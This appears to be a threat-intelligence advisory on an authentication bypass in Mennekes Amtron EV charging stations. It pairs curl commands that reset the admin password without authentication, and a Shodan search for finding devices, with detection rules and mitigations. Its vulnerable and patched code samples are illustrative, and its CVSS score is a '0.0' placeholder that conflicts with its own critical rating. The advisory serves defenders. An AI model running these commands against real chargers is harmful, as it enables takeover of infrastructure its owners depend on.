CVE-2026-8979

Executive Summary

CVE-2026-8979 is a critical authentication bypass vulnerability affecting the Mennekes Amtron series of electric vehicle (EV) charging stations running firmware versions ≤ 5.22.3. An unauthenticated remote attacker can change the password of any user account by sending a crafted POST request to the /operator/operator endpoint. This allows full administrative control over the charging station, enabling manipulation of charging schedules, access to user data, and potential lateral movement within the EV charging network. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the lack of authentication required and the high impact on confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected system.
• Confidentiality (C): High (H) – Full access to user data and configuration.
• Integrity (I): High (H) – Attacker can modify passwords and settings.
• Availability (A): High (H) – Attacker can disrupt charging operations.

Threat Level: Critical. The vulnerability allows complete takeover of the charging station without any credentials, posing a significant risk to EV infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the /operator/operator endpoint of the Mennekes Amtron web interface. The endpoint is intended for operator-level password changes but fails to enforce authentication. The server does not validate session tokens or require the current password before accepting a new password. The POST request likely includes parameters such as username and new_password. The server processes the request and updates the user's password in the local database without any verification.

The root cause is a missing authentication check (CWE-306) in the server-side code handling the password change functionality. The endpoint is exposed to unauthenticated users, allowing any remote attacker to send a crafted POST request and overwrite the password for any known or guessed username (e.g., "admin").

Vulnerable vs. Patched Code

Vulnerable Code (Firmware ≤ 5.22.3):

# Example of vulnerable Flask route
@app.route('/operator/operator', methods=['POST'])
def change_password():
    username = request.form.get('username')
    new_password = request.form.get('new_password')
    # No authentication check
    update_user_password(username, new_password)
    return "Password changed successfully"

Patched Code (Hypothetical fix):

@app.route('/operator/operator', methods=['POST'])
def change_password():
    # Require authentication
    if not session.get('authenticated'):
        return "Unauthorized", 401
    username = request.form.get('username')
    new_password = request.form.get('new_password')
    # Verify current password
    current_password = request.form.get('current_password')
    if not verify_password(username, current_password):
        return "Invalid current password", 403
    update_user_password(username, new_password)
    return "Password changed successfully"

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Mennekes Amtron charging station with firmware ≤ 5.22.3 (or use a virtualized environment).
2. Ensure the device is accessible over the network (e.g., IP 192.168.1.100).
3. Use a tool like curl or Burp Suite to send the exploit.

Exploitation Steps:

1. Identify the target device (e.g., via Shodan dork "Mennekes Amtron").
2. Send a POST request to change the admin password:

   curl -X POST http://192.168.1.100/operator/operator \
        -d "username=admin&new_password=attacker123"
   

3. Verify the password change by logging in with the new credentials:

   curl -u admin:attacker123 http://192.168.1.100/
   

4. Once authenticated, access all administrative functions (e.g., charging schedules, user management).

Expected Outcome: Full administrative control over the charging station.

Blue Team

Detection:

• Monitor for POST requests to /operator/operator from unauthenticated sources.
• Alert on multiple failed login attempts followed by a successful password change.
• Use network monitoring to detect anomalous traffic to the charging station.

Mitigation:

• Immediately isolate affected devices from the internet.
• Implement network segmentation for EV charging infrastructure.
• Apply vendor patch when available.
• Enable logging and alerting for all administrative actions.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /operator/operator with parameters username and new_password.
  • Unusual login attempts from unknown IP addresses.
• System:
  • Unexpected password changes for operator accounts.
  • New user accounts created (if the endpoint also allows user creation).
• Logs:
  • Server logs showing POST /operator/operator without prior authentication.
  • Successful login from a new IP after a password change.

Detection Engineering

YARA Rule

rule CVE_2026_8979_Mennekes_Amtron_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2026-8979 in Mennekes Amtron"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8979"
    strings:
        $s1 = "/operator/operator" ascii wide nocase
        $s2 = "new_password" ascii wide nocase
        $s3 = "username" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-8979 Mennekes Amtron Authentication Bypass
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to /operator/operator without authentication
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: "/operator/operator"
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-8979 Mennekes Amtron Auth Bypass"; flow:to_server; content:"POST"; http_method; content:"/operator/operator"; http_uri; content:"new_password"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable remote access to the /operator/operator endpoint via firewall or reverse proxy.
   • Change all operator passwords immediately.
   • Monitor for unauthorized access.

2. Long-term Fix:

   • Apply vendor firmware update when released.
   • Implement network segmentation for EV charging stations.
   • Use VPN or zero-trust access for administrative interfaces.

3. Compensating Controls:

   • Deploy WAF rules to block POST requests to /operator/operator without valid session tokens.
   • Enable multi-factor authentication for all administrative accounts.

Valters IT
DevSecOps & Cyber Threat Intelligence
Securing EV Infrastructure